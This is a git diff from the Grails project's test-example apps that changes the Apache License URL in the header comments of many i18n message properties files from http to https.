diff --git a/grails-test-examples/app1/grails-app/i18n/messages_ja.properties b/grails-test-examples/app1/grails-app/i18n/messages_ja.properties
index ba1daf0d6a..bcd6bb99bf 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_nb.properties b/grails-test-examples/app1/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_nl.properties b/grails-test-examples/app1/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_pl.properties b/grails-test-examples/app1/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/app1/grails-app/i18n/messages_pt_BR.properties
index 310247cbc3..f1404376da 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/app1/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_ru.properties b/grails-test-examples/app1/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_sv.properties b/grails-test-examples/app1/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_th.properties b/grails-test-examples/app1/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/app1/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/app1/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/app1/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/app1/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_cs_CZ.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_da.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_de.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_es.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_fr.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_it.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_ja.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_ja.properties
index 10abcd3873..c23f5d014b 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_nb.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_nl.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pl.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_ru.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_sv.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_th.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/async-events-pubsub-demo/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages.properties b/grails-test-examples/demo33/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_cs_CZ.properties b/grails-test-examples/demo33/grails-app/i18n/messages_cs_CZ.properties
index dc71c205fe..24799b956a 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_cs_CZ.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_cs_CZ.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_da.properties b/grails-test-examples/demo33/grails-app/i18n/messages_da.properties
index c3ac9b1929..8effe79084 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_da.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_da.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_de.properties b/grails-test-examples/demo33/grails-app/i18n/messages_de.properties
index 18cd4a68b2..fccc6d561e 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_de.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_de.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_es.properties b/grails-test-examples/demo33/grails-app/i18n/messages_es.properties
index f8d257c24a..c76df87761 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_es.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_es.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_fr.properties b/grails-test-examples/demo33/grails-app/i18n/messages_fr.properties
index 93d4bc05f7..686f872243 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_fr.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_fr.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_it.properties b/grails-test-examples/demo33/grails-app/i18n/messages_it.properties
index 22353b0336..3bb0abe403 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_it.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_it.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_ja.properties b/grails-test-examples/demo33/grails-app/i18n/messages_ja.properties
index 10abcd3873..c23f5d014b 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_ja.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_ja.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_nb.properties b/grails-test-examples/demo33/grails-app/i18n/messages_nb.properties
index b2bcb4cfa5..8485b66145 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_nb.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_nb.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_nl.properties b/grails-test-examples/demo33/grails-app/i18n/messages_nl.properties
index eb5245ccf5..57360d5c39 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_nl.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_nl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_pl.properties b/grails-test-examples/demo33/grails-app/i18n/messages_pl.properties
index efb954c5ff..199f7d26e0 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_pl.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_pl.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_pt_BR.properties b/grails-test-examples/demo33/grails-app/i18n/messages_pt_BR.properties
index 2244a40539..474cf326f9 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_pt_BR.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_pt_BR.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_pt_PT.properties b/grails-test-examples/demo33/grails-app/i18n/messages_pt_PT.properties
index d432eb5f6e..27aa38dd2b 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_pt_PT.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_pt_PT.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_ru.properties b/grails-test-examples/demo33/grails-app/i18n/messages_ru.properties
index 2c7e7cdde7..c5e1d93446 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_ru.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_ru.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_sv.properties b/grails-test-examples/demo33/grails-app/i18n/messages_sv.properties
index 694ac13f23..49079027e5 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_sv.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_sv.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_th.properties b/grails-test-examples/demo33/grails-app/i18n/messages_th.properties
index 1219a71e4b..9d2ba5ea9d 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_th.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_th.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/demo33/grails-app/i18n/messages_zh_CN.properties b/grails-test-examples/demo33/grails-app/i18n/messages_zh_CN.properties
index 61a0705aef..181f0a372e 100644
--- a/grails-test-examples/demo33/grails-app/i18n/messages_zh_CN.properties
+++ b/grails-test-examples/demo33/grails-app/i18n/messages_zh_CN.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/geb/grails-app/i18n/messages.properties b/grails-test-examples/geb/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
--- a/grails-test-examples/geb/grails-app/i18n/messages.properties
+++ b/grails-test-examples/geb/grails-app/i18n/messages.properties
@@ -5,7 +5,7 @@
 # (the "License"); you may not use this file except in compliance with
 # the License.  You may obtain a copy of the License at
 #
-#     http://www.apache.org/licenses/LICENSE-2.0
+#     https://www.apache.org/licenses/LICENSE-2.0
 #
 # Unless required by applicable law or agreed to in writing, software
 # distributed under the License is distributed on an "AS IS" BASIS,
diff --git a/grails-test-examples/gsp-layout/grails-app/i18n/messages.properties b/grails-test-examples/gsp-layout/grails-app/i18n/messages.properties
index 6d72d209d5..a1ac5a2fd7 100644
